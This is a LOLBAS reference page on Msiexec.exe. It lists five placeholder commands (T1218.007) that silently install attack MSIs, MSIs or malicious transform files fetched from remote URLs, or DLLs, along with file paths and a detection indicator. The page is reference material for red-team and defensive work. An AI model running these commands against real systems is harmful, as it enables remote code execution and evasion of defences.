LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Msiexec.exe

View source

Used by Windows to execute msi files

Execute
05COMMAND EXAMPLES
01ATT&CK TECHNIQUES
04DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

5 examples

Execute5

EXAMPLE 01T1218.007

Installs the target .MSI file silently.

COMMAND
msiexec /quiet /i {PATH:.msi}
USE CASE
Execute custom made msi file with attack code
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · MSI
EXAMPLE 02T1218.007

Installs the target remote & renamed .MSI file silently.

COMMAND
msiexec /q /i {REMOTEURL}
USE CASE
Execute custom made msi file with attack code from remote server
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · MSIExecute · Remote
EXAMPLE 03T1218.007

Calls DllRegisterServer to register the target DLL.

COMMAND
msiexec /y {PATH_ABSOLUTE:.dll}
USE CASE
Execute dll files
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · DLLExecute · Remote
EXAMPLE 04T1218.007

Calls DllUnregisterServer to un-register the target DLL.

COMMAND
msiexec /z {PATH_ABSOLUTE:.dll}
USE CASE
Execute dll files
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · DLLExecute · Remote
EXAMPLE 05T1218.007

Installs the target .MSI file from a remote URL, the file can be signed by vendor. Additional to the file a transformation file will be used, which can contains malicious code or binaries. The /qb will skip user input.

COMMAND
msiexec /i {PATH_ABSOLUTE:.msi} TRANSFORMS="{REMOTEURL:.mst}" /qb
USE CASE
Install trusted and signed msi file, with additional attack code as transformation file, from a remote server
PRIVILEGES
User
OPERATING SYSTEM
Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · MSIExecute · MSTExecute · Remote
02 / ON DISK

Known paths

C:\Windows\System32\msiexec.exe
C:\Windows\SysWOW64\msiexec.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

4 resources

Indicators & detection notes

  • IOC

    msiexec.exe retrieving files from Internet

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

netbiosX@netbiosX
Philip Tsukerman@PhilipTsukerman